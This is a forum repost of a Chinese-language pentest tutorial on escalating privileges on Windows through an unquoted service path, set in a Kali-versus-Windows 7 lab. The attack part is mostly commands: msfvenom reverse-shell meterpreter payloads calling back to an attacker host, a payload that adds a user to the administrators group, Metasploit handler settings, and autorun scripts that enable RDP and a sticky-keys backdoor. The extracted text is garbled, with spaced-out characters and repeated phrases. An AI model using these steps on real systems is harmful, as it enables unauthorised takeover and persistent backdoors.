搜索

[13184] 2018-09-14_Windows平台下实现提权的新姿势

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-09-14_Windows平台下实现提权的新姿势 W i n d o w s 平 台 下 实 现 提 权 的 新 姿 势 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 9 - 1 4 在 这 篇 文 章 中 ， 我 们 将 给 大 家 演 示 如 何 通 过 无 引 号 服 务 路 径 来 实 现 在 在 这 篇 文 章 中 ， 我 们 将 给 大 家 演 示 如 何 通 过 无 引 号 服 务 路 径 来 实 现 在 W i n d o w s 平 台 下 的 提 权 。 在 渗 透 测 试 的 过 平 台 下 的 提 权 。 在 渗 透 测 试 的 过 程 中 ， 当 我 们 以 本 地 用 户 身 份 生 成 命 令 程 中 ， 当 我 们 以 本 地 用 户 身 份 生 成 命 令 S h e l l 时 ， 我 们 是 无 法 检 查 受 限 文 件 或 目 录 的 ， 因 此 我 们 才 需 要 拿 到 管 理 时 ， 我 们 是 无 法 检 查 受 限 文 件 或 目 录 的 ， 因 此 我 们 才 需 要 拿 到 管 理 员 访 问 权 。 员 访 问 权 。 无 引 号 服 务 路 径 漏 洞 无 引 号 服 务 路 径 漏 洞 这 个 漏 洞 跟 可 执 行 文 件 的 路 径 有 关 ， 如 果 文 件 名 中 存 在 空 格 ， 或 者 文 件 路 径 没 有 包 裹 在 双 引 号 之 中 ， 那 攻 击 者 就 可 以 用 恶 意 e x e 文 件 替 换 掉 原 本 合 法 的 e x e 文 件 ， 并 实 现 提 权 。 环 境 搭 建 环 境 搭 建 目 标 主 机 ： W i n d o w s   7 攻 击 主 机 ： K a l i   L i n u x 首 先 ， 我 们 需 要 在 目 标 W i n d o w s 系 统 中 下 载 并 安 装 一 个 名 叫 p h o t o d e x   p r o s h o w 的 包 含 漏 洞 的 应 用 程 序 ， 下 载 镜 像 可 以 在 E x p l o i t   D B 上 找 到 。
生 成 目 标 主 机 生 成 目 标 主 机 为 了 拿 到 m e t e r p r e t e r 会 话 ， 我 们 至 少 要 成 功 入 侵 目 标 W i n d o w s 设 备 一 次 ， 你 可 以 从 下 图 中 看 到 ， 我 们 已 经 拿 到 了 目 标 主 机 的 m e t e r p r e t e r 会 话 了 。 现 在 ， 打 开 命 令 S h e l l ： s h e l l 你 可 以 看 到 ， 我 们 拿 到 的 s h e l l 访 问 权 是 本 地 用 户 l o c a l _ u s e r ， 为 了 拿 到 c m d 的 管 理 员 权 限 ， 我 们 就 需 要 提 权 。 首 先 ， 我 们 可 以 枚 举 出 目 标 主 机 上 正 在 运 行 的 所 有 服 务 ， 并 找 出 那 些 没 有 被 双 引 号 包 裹 的 服 务 路 径 ， 这 一 步 可 以 用 下 列 命 令 实 现 ： 这 里 ， 我 们 枚 举 出 了 下 列 路 径 ： 这 个 路 径 没 有 被 双 引 号 包 裹 ， 而 且 文 件 名 中 也 存 在 空 格 。 w m i c   s e r v i c e   g e t   n a m e , d i s p l a y n a m e , p a t h n a m e , s t a r t m o d e   | f i n d s t r   / i   " a u t o " | f i n d s t r   / i   / v   " c : w i n d o w s "   | f i n d s t r   / i   / v   " " " C : P r o g r a m F i l e s P h o t o d e x P r o S h o w   P r o d u c e r S c s i a c c e s s . e x e
现 在 ， 我 们 需 要 使 用 下 列 命 令 识 别 文 件 目 录 权 限 ： 你 可 以 看 到 ， 它 给 任 何 人 都 提 供 了 写 入 权 限 ， 这 也 就 意 味 着 任 何 用 户 都 可 以 重 写 该 文 件 ： 通 过 进 程 迁 移 实 现 提 权 通 过 进 程 迁 移 实 现 提 权 现 在 ， 我 们 只 需 要 把 恶 意 e x e 放 在 同 一 文 件 夹 内 ， 它 就 自 动 拥 有 管 理 员 权 限 了 ， 当 服 务 重 启 之 后 ， W i n d o w s 将 启 动 这 个 恶 意 e x e 。 在 K a l i   L i n u x 中 打 开 终 端 ， 然 后 通 过 下 列 命 令 使 用 m s f v e n o m 生 成 恶 意 e x e   P a y l o a d ： 上 面 的 命 令 将 在 桌 面 生 成 一 个 恶 意 e x e 文 件 ， 然 后 将 该 文 件 发 送 给 目 标 主 机 。 P a y l o a d 会 尝 试 迁 移 恶 意 进 程 ， 如 果 用 户 通 过 进 程 I D 终 止 了 当 前 进 程 的 运 行 ， 攻 击 者 也 不 会 丢 失 会 话 和 P a y l o a d 的 控 制 权 。 现 在 ， 用 恶 意 e x e 替 换 掉 合 法 的 可 执 行 文 件 ， 这 里 我 把 合 法 S c s i a c c e s s . e x e 重 命 名 为 了 S c s i a c c e s s . e x e . o r g i n a l ， 并 将 恶 意 S c s i a c c e s s . e x e 上 传 到 了 同 一 文 件 夹 内 ， 然 后 重 启 目 标 主 机 ： r e b o o t ： i c a c l s   S c s i a c c e s s . e x e m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 1 0 7   l p o r t = 1 2 3 4 p r e p e n d m i g r a t e = t r u e   p r e p e n m i g r a t e p r o c e s s = e x p l o r e r . e x e   - f   e x e   > / r o o t / D e s k t o p / s c s i a c c e s s . e x e m o v e s c s i a c c e s s . e x e   s c s i a c c e s s . e x e . o r g i n a l u p l o a d / r o o t / D e s k t o p /   s c s i a c c e s s . e x e
与 此 同 时 ， 我 在 新 的 终 端 里 开 启 了 多 个 h a n d l e r 监 听 器 来 捕 捉 m e t e r p r e t e r 会 话 ： 一 段 时 间 之 后 ， 我 们 就 能 够 拿 到 拥 有 管 理 员 权 限 的 s h e l l 了 ： 通 过 添 加 管 理 员 组 用 户 来 实 现 提 权 通 过 添 加 管 理 员 组 用 户 来 实 现 提 权 使 用 l o c a l _ u s e r 权 限 生 成 了 s h e l l 之 后 ， 我 们 就 可 以 在 没 有 管 理 员 权 限 的 情 况 下 枚 举 完 整 的 用 户 名 列 表 了 。 这 里 我 们 发 现 ， 用 户 r a a z 不 是 管 理 员 组 的 成 员 ： u s e   e x p l o i t / m u l t i / h a n d l e r m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   p a y l o a d   w i n d o w s   / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   l p o r t   1 2 3 4 m s f   e x p l o i t ( m u l t i / h a n d l e r )   e x p l o i t n e t   u s e r n e t   u s e r   r a a z
同 样 的 ， 我 们 生 成 了 一 个 e x e 文 件 ， 并 用 它 来 将 用 户 r a a z 添 加 到 了 管 理 员 组 中 ， 我 们 生 成 的 恶 意 e x e 文 件 名 还 是 叫 S c s i a c c e s s . e x e ： 重 复 上 述 步 骤 ， 用 恶 意 e x e 文 件 替 换 掉 同 一 目 录 下 的 合 法 e x e ， 然 后 重 启 目 标 主 机 ： m s f v e n o m   - p   w i n d o w s / e x e c   C M D = ' n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   r a a z   / a d d '   - f   e x e   > / r o o t / D e s k t o p / s c s i a c c e s s . e x e
仔 细 看 下 面 的 截 图 ， 你 就 会 发 现 用 户 r a a z 已 经 成 为 了 管 理 员 组 成 员 了 ： 通 过 通 过 R D P & S t i c k y _ k e y 实 现 提 权 实 现 提 权 使 用 m s f v e n o m 生 成 一 个 相 同 文 件 名 （ S c s i a c c e s s . e x e ） 的 e x e 文 件 ， 然 后 将 其 发 送 至 目 标 主 机 ， 同 时 利 用 自 动 运 行 脚 本 开 启 多 个 监 听 器 ， 这 样 将 会 启 用 R D P 服 务 ： u s e   e x p l o i t / m u l t i / h a n d l e r m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   p a y l o a d   w i n d o w s   / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   l p o r t   1 2 3 4 m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   A u t o R u n S c r i p t   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p m s f   e x p l o i t ( m u l t i / h a n d l e r )   e x p l o i t
类 似 的 ， 当 目 标 服 务 重 启 之 后 ， 我 们 可 以 设 置 自 动 运 行 脚 本 来 启 用 s t i c k y _ k e y s ： 你 可 以 从 下 图 中 看 到 ， 命 令 开 启 了 另 一 个 m e t e r p r e t e r 会 话 （ s e s s i o n   3 ） ， 这 个 会 话 拥 有 管 理 员 权 限 ， 现 在 我 们 就 可 以 通 过 R D P 与 目 标 主 机 建 立 连 接 了 ： 接 下 来 ， 连 续 按 下 5 次 s h i f t 键 ， 你 将 会 拿 到 拥 有 管 理 员 权 限 的 命 令 行 窗 口 ： m s f   e x p l o i t ( m u l t i / h a n d l e r )   s e t   A u t o R u n S c r i p t   p o s t / w i n d o w s / m a n a g e / s t i c k y _ k e y s m s f   e x p l o i t ( m u l t i / h a n d l e r )   r u n r d p   1 9 2 . 1 6 8 . 1 . 1 0 1
没 错 ， 就 是 这 么 简 单 ！ * 参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理